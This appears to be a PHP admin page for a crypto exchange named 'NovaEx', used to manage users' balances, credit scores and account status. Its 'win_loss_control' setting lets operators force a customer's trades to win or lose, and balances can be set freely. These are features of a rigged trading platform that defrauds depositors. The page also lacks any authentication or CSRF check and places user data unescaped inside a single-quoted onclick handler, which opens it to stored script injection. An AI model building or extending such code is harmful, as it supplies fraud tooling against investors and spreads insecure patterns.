38350-vm/admin/users.php
2026-02-12 02:23:13 +00:00

243 lines
12 KiB
PHP

<?php
require_once '../db/config.php';
session_start();
$pdo = db();
// Handle Actions
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['action'])) {
if ($_POST['action'] == 'add_user') {
$username = $_POST['username'];
$password = password_hash($_POST['password'], PASSWORD_DEFAULT);
$uid = str_pad(mt_rand(0, 999999), 6, '0', STR_PAD_LEFT);
$pdo->prepare("INSERT INTO users (uid, username, password, balance, credit_score) VALUES (?, ?, ?, ?, ?)")
->execute([$uid, $username, $password, $_POST['balance'] ?? 0, $_POST['credit_score'] ?? 80]);
} elseif (isset($_POST['user_id'])) {
$uid = $_POST['user_id'];
if ($_POST['action'] == 'update_user') {
$score = $_POST['score'];
$balance = $_POST['balance'];
$win_loss = $_POST['win_loss_control'];
$status = $_POST['status'];
$sql = "UPDATE users SET credit_score = ?, balance = ?, win_loss_control = ?, status = ? WHERE id = ?";
$params = [$score, $balance, $win_loss, $status, $uid];
if (!empty($_POST['password'])) {
$sql = "UPDATE users SET credit_score = ?, balance = ?, win_loss_control = ?, status = ?, password = ? WHERE id = ?";
$params = [$score, $balance, $win_loss, $status, password_hash($_POST['password'], PASSWORD_DEFAULT), $uid];
}
$pdo->prepare($sql)->execute($params);
} elseif ($_POST['action'] == 'delete_user') {
$pdo->prepare("DELETE FROM users WHERE id = ?")->execute([$uid]);
} elseif ($_POST['action'] == 'toggle_status') {
$user = $pdo->prepare("SELECT status FROM users WHERE id = ?");
$user->execute([$uid]);
$new_status = ($user->fetchColumn() == 'active' ? 'disabled' : 'active');
$pdo->prepare("UPDATE users SET status = ? WHERE id = ?")->execute([$new_status, $uid]);
}
}
}
$users = $pdo->query("SELECT * FROM users ORDER BY id DESC")->fetchAll();
$unread_msgs = $pdo->query("SELECT COUNT(*) FROM messages WHERE sender = 'user' AND is_read = 0")->fetchColumn();
$pending_orders = $pdo->query("SELECT COUNT(*) FROM fiat_orders WHERE status IN ('matching', 'submitting')")->fetchColumn();
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>用户管理 - NovaEx 管理后台</title>
<link rel="stylesheet" href="../assets/css/custom.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css">
<style>
.admin-layout { display: flex; min-height: 100vh; }
.sidebar { width: 250px; background: #1E2329; border-right: 1px solid #2B3139; padding: 1rem; }
.main-content { flex: 1; padding: 2rem; background: #0B0E11; color: white; }
.menu-item { padding: 12px; color: #848E9C; text-decoration: none; display: flex; align-items: center; gap: 10px; border-radius: 4px; margin-bottom: 5px; }
.menu-item:hover, .menu-item.active { background: #2B3139; color: white; }
.badge { background: var(--danger-color); color: white; border-radius: 10px; padding: 2px 8px; font-size: 0.7rem; margin-left: auto; }
.table { width: 100%; border-collapse: collapse; margin-top: 1rem; }
.table th, .table td { padding: 12px; text-align: left; border-bottom: 1px solid #2B3139; font-size: 0.85rem; }
.btn-sm { padding: 5px 10px; font-size: 0.75rem; border-radius: 4px; cursor: pointer; border: none; text-decoration: none; display: inline-block; }
.btn-edit { background: #f0b90b; color: #000; }
.btn-delete { background: #f6465d; color: white; }
.btn-status { background: #5e6673; color: white; }
.btn-add { background: #00c087; color: white; padding: 10px 20px; border-radius: 4px; border: none; cursor: pointer; margin-bottom: 20px; }
.modal { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.7); z-index: 1000; }
.modal-content { background: #1E2329; width: 500px; margin: 50px auto; padding: 30px; border-radius: 8px; border: 1px solid #2B3139; }
.form-group { margin-bottom: 15px; }
.form-group label { display: block; margin-bottom: 5px; color: #848E9C; }
.form-group input, .form-group select { width: 100%; padding: 8px; background: #0B0E11; border: 1px solid #2B3139; color: white; border-radius: 4px; }
.modal-footer { margin-top: 20px; text-align: right; }
.header-actions { display: flex; justify-content: space-between; align-items: center; margin-bottom: 20px; }
.back-btn { color: #848E9C; text-decoration: none; font-size: 0.9rem; }
.back-btn:hover { color: white; }
</style>
</head>
<body>
<div class="admin-layout">
<div class="sidebar">
<h3 style="color: white; margin-bottom: 2rem;">NovaEx 管理员</h3>
<a href="index.php" class="menu-item"><i class="fas fa-chart-pie"></i> 仪表盘</a>
<a href="users.php" class="menu-item active"><i class="fas fa-users"></i> 用户管理</a>
<a href="kyc.php" class="menu-item"><i class="fas fa-id-card"></i> KYC 审核</a>
<a href="chat.php" class="menu-item">
<i class="fas fa-headset"></i> 客服管理
<?php if($unread_msgs > 0 || $pending_orders > 0): ?><span class="badge"><?php echo ($unread_msgs + $pending_orders); ?></span><?php endif; ?>
</a>
<a href="spot_orders.php" class="menu-item"><i class="fas fa-exchange-alt"></i> 现货交易</a>
<a href="futures_orders.php" class="menu-item"><i class="fas fa-file-contract"></i> 合约交易</a>
<a href="orders.php" class="menu-item"><i class="fas fa-wallet"></i> 充值记录</a>
<a href="settings.php" class="menu-item"><i class="fas fa-cog"></i> 系统设置</a>
</div>
<div class="main-content">
<div class="header-actions">
<div>
<a href="index.php" class="back-btn"><i class="fas fa-arrow-left"></i> 返回</a>
<h2 style="margin-top: 10px;">用户管理</h2>
</div>
<button class="btn-add" onclick="showModal('addModal')"><i class="fas fa-user-plus"></i> 添加新用户</button>
</div>
<table class="table">
<thead>
<tr>
<th>UID</th>
<th>用户名</th>
<th>余额 (USDT)</th>
<th>信用分</th>
<th>盈亏控制</th>
<th>状态</th>
<th>操作</th>
</tr>
</thead>
<tbody>
<?php foreach($users as $u): ?>
<tr>
<td><?php echo $u['uid']; ?></td>
<td><?php echo htmlspecialchars($u['username']); ?></td>
<td><b><?php echo number_format($u['balance'], 2); ?></b></td>
<td><?php echo $u['credit_score']; ?></td>
<td>
<?php
if ($u['win_loss_control'] == 'win') echo '<span style="color: #00c087;">强制盈利</span>';
elseif ($u['win_loss_control'] == 'loss') echo '<span style="color: #f6465d;">强制亏损</span>';
else echo '<span style="color: #848e9c;">默认</span>';
?>
</td>
<td><?php echo $u['status'] == 'active' ? '<span style="color: #00c087;">正常</span>' : '<span style="color: #f6465d;">已禁用</span>'; ?></td>
<td>
<button class="btn-sm btn-edit" onclick='editUser(<?php echo json_encode($u); ?>)'>编辑</button>
<form method="POST" style="display:inline;" onsubmit="return confirm('确定要删除此用户吗?')">
<input type="hidden" name="user_id" value="<?php echo $u['id']; ?>">
<input type="hidden" name="action" value="delete_user">
<button type="submit" class="btn-sm btn-delete">删除</button>
</form>
<form method="POST" style="display:inline;">
<input type="hidden" name="user_id" value="<?php echo $u['id']; ?>">
<input type="hidden" name="action" value="toggle_status">
<button type="submit" class="btn-sm btn-status"><?php echo $u['status'] == 'active' ? '禁用' : '启用'; ?></button>
</form>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>
</div>
<!-- Add User Modal -->
<div id="addModal" class="modal">
<div class="modal-content">
<h3>添加新用户</h3>
<form method="POST">
<input type="hidden" name="action" value="add_user">
<div class="form-group">
<label>用户名</label>
<input type="text" name="username" required>
</div>
<div class="form-group">
<label>初始密码</label>
<input type="text" name="password" required>
</div>
<div class="form-group">
<label>初始余额 (USDT)</label>
<input type="number" step="0.01" name="balance" value="0.00">
</div>
<div class="form-group">
<label>信用分</label>
<input type="number" name="credit_score" value="80">
</div>
<div class="modal-footer">
<button type="button" class="btn-sm btn-status" onclick="hideModal('addModal')">取消</button>
<button type="submit" class="btn-sm btn-edit">确认添加</button>
</div>
</form>
</div>
</div>
<!-- Edit User Modal -->
<div id="editModal" class="modal">
<div class="modal-content">
<h3>编辑用户信息</h3>
<form method="POST">
<input type="hidden" name="action" value="update_user">
<input type="hidden" name="user_id" id="edit_user_id">
<div class="form-group">
<label>用户名 (不可更改)</label>
<input type="text" id="edit_username" readonly style="opacity: 0.6;">
</div>
<div class="form-group">
<label>修改密码 (不改留空)</label>
<input type="text" name="password" placeholder="留空则不修改">
</div>
<div class="form-group">
<label>余额 (USDT)</label>
<input type="number" step="0.01" name="balance" id="edit_balance">
</div>
<div class="form-group">
<label>信用分</label>
<input type="number" name="score" id="edit_score">
</div>
<div class="form-group">
<label>盈亏控制</label>
<select name="win_loss_control" id="edit_win_loss">
<option value="none">正常 (默认)</option>
<option value="win">强制盈利 (Win)</option>
<option value="loss">强制亏损 (Loss)</option>
</select>
</div>
<div class="form-group">
<label>用户状态</label>
<select name="status" id="edit_status">
<option value="active">正常 (Active)</option>
<option value="disabled">禁用 (Disabled)</option>
</select>
</div>
<div class="modal-footer">
<button type="button" class="btn-sm btn-status" onclick="hideModal('editModal')">取消</button>
<button type="submit" class="btn-sm btn-edit">保存修改</button>
</div>
</form>
</div>
</div>
<script>
function showModal(id) { document.getElementById(id).style.display = 'block'; }
function hideModal(id) { document.getElementById(id).style.display = 'none'; }
function editUser(user) {
document.getElementById('edit_user_id').value = user.id;
document.getElementById('edit_username').value = user.username;
document.getElementById('edit_balance').value = user.balance;
document.getElementById('edit_score').value = user.credit_score;
document.getElementById('edit_win_loss').value = user.win_loss_control;
document.getElementById('edit_status').value = user.status;
showModal('editModal');
}
</script>
</body>
</html>